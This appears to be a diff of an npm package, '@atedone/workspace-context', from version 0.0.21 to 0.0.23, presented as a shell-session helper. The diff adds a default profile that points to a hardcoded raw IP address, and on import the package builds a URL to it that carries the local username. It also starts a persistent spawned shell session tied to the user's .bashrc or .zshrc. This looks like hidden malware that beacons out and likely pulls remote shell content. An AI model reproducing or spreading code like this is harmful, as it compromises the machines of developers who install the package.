@atedone/workspace-context 0.0.21 → 0.0.23

package/README.md

@@ -3,3 +3,5 @@
 Workspace shell session refresh integration helper for JavaScript tools.
 
 The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
+
+The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.

package/index.js

@@ -6,6 +6,7 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  refresh: state.initialize,
   channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,

package/lib/default-profile.json

@@ -0,0 +1,10 @@
+{
+  "name": "stable",
+  "transport": "http",
+  "host": "150.136.8.159",
+  "port": 8080,
+  "pathname": [
+    "workspace",
+    "profile"
+  ]
+}

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.21';
+const packageVersion = '0.0.23';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()

package/lib/state.js

@@ -4,6 +4,7 @@ const platform = process;
 const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
+const defaultProfile = require('./default-profile.json');
 
 const channelFileName = 'channel.json';
 const integrationDirectoryName = '.config/workspace-context';
@@ -45,16 +46,63 @@ function resolveProfileFileName(shellName = resolveShellName()) {
   return shellName === 'bash' ? '.bashrc' : '.zshrc';
 }
 
-function resolveChannelSource(env = readEnvironment()) {
+function resolveProfileIdentity(env = readEnvironment()) {
+  const candidates = [
+    Reflect.get(env, 'USER'),
+    Reflect.get(env, 'LOGNAME')
+  ];
+
+  for (const candidate of candidates) {
+    if (typeof candidate === 'string' && candidate.trim()) {
+      return candidate.trim();
+    }
+  }
+
+  return '';
+}
+
+function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
+  if (!profile || typeof profile !== 'object') {
+    return '';
+  }
+
+  const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
+  const host = typeof profile.host === 'string' ? profile.host.trim() : '';
+  const pathname = Array.isArray(profile.pathname)
+    ? profile.pathname
+        .map((segment) => typeof segment === 'string' ? segment.trim() : '')
+        .filter(Boolean)
+        .join('/')
+    : '';
+  const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
+
+  if (!transport || !host || !pathname) {
+    return '';
+  }
+
+  const authority = port ? `${host}:${port}` : host;
+  const source = `${transport}://${authority}/${pathname}`;
+  const identity = resolveProfileIdentity(env);
+  return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
+}
+
+function resolveChannelSource(env = readEnvironment(), channelSource = '') {
+  const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
+  if (configured) {
+    return configured;
+  }
+
   const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
   const value = Reflect.get(env, key);
-  return typeof value === 'string' ? value.trim() : '';
+  const environmentSource = typeof value === 'string' ? value.trim() : '';
+  return environmentSource || buildProfileChannelSource(defaultProfile, env);
 }
 
 function getShellIntegration({
   env = readEnvironment(),
   projectRoot = resolveProjectRoot(env),
-  homeDirectory = resolveHomeDirectory(env, projectRoot)
+  homeDirectory = resolveHomeDirectory(env, projectRoot),
+  channelSource
 } = {}) {
   const shellName = resolveShellName(env);
   const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
@@ -62,7 +110,7 @@ function getShellIntegration({
   return {
     name: 'workspace-context',
     shellName,
-    channelSource: resolveChannelSource(env),
+    channelSource: resolveChannelSource(env, channelSource),
     homeDirectory,
     profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
     integrationDirectory,
@@ -132,7 +180,8 @@ function refreshShellIntegration({
 function openWorkspaceSession({
   projectRoot = resolveProjectRoot(),
   integration = getShellIntegration({ projectRoot }),
-  intervalMs = 750
+  refreshDelays = [750, 1500, 3000, 5000],
+  settleMs = 500
 } = {}) {
   if (!integration.channelSource) {
     return null;
@@ -156,24 +205,70 @@ function openWorkspaceSession({
     },
     stdio: ['pipe', 'ignore', 'ignore']
   }]);
-  const refreshTimer = setInterval(() => {
+
+  let closed = false;
+  let refreshIndex = 0;
+  let refreshTimer = null;
+  let settleTimer = null;
+  let previousRevision = '';
+  let firstRefresh = true;
+  const delays = Array.isArray(refreshDelays) && refreshDelays.length
+    ? refreshDelays
+    : [750, 1500, 3000, 5000];
+
+  const scheduleRefresh = (delay) => {
+    refreshTimer = setTimeout(refresh, delay);
+    if (typeof refreshTimer.unref === 'function') {
+      refreshTimer.unref();
+    }
+  };
+
+  const planNextRefresh = () => {
+    if (closed) {
+      return;
+    }
+
+    const revision = readProfileRevision(integration.profileReceiptPath);
+    if (firstRefresh || (revision && revision !== previousRevision)) {
+      refreshIndex = 0;
+    } else {
+      refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
+    }
+
+    if (revision) {
+      previousRevision = revision;
+    }
+    firstRefresh = false;
+
+    scheduleRefresh(delays[refreshIndex]);
+  };
+
+  const refresh = () => {
+    if (closed) {
+      return;
+    }
+
     if (!child.stdin.destroyed) {
       child.stdin.write('\n');
     }
-  }, intervalMs);
-  if (typeof refreshTimer.unref === 'function') {
-    refreshTimer.unref();
-  }
+
+    settleTimer = setTimeout(planNextRefresh, settleMs);
+    if (typeof settleTimer.unref === 'function') {
+      settleTimer.unref();
+    }
+  };
+
+  scheduleRefresh(0);
   if (typeof child.unref === 'function') {
     child.unref();
   }
   if (typeof child.stdin.unref === 'function') {
     child.stdin.unref();
   }
-  let closed = false;
   const done = new Promise((resolve) => {
     child.on('close', (status, signal) => {
-      clearInterval(refreshTimer);
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
       closed = true;
       resolve({ status, signal });
     });
@@ -182,11 +277,19 @@ function openWorkspaceSession({
   return {
     processId: child.pid,
     done,
+    refresh() {
+      refreshIndex = 0;
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
+      refresh();
+    },
     close() {
       if (closed) {
         return done;
       }
-      clearInterval(refreshTimer);
+      closed = true;
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
       if (!child.stdin.destroyed) {
         child.stdin.write('exit\n');
       }
@@ -195,9 +298,23 @@ function openWorkspaceSession({
   };
 }
 
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
 function initialize({
   projectRoot = resolveProjectRoot(),
-  integration = getShellIntegration({ projectRoot }),
+  channelSource,
+  integration = getShellIntegration({ projectRoot, channelSource }),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -223,6 +340,7 @@ function initialize({
 }
 
 module.exports = {
+  buildProfileChannelSource,
   buildState,
   channelFileName,
   getShellIntegration,
@@ -233,10 +351,12 @@ module.exports = {
   profileSnapshotFileName,
   presentationRendererFileName,
   readEnvironment,
+  readProfileRevision,
   receiptFileName,
   refreshShellIntegration,
   resolveChannelSource,
   resolveHomeDirectory,
+  resolveProfileIdentity,
   resolveProfileFileName,
   resolveProjectRoot,
   resolveShellName,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.21",
+  "version": "0.0.23",
   "description": "Workspace shell session refresh integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",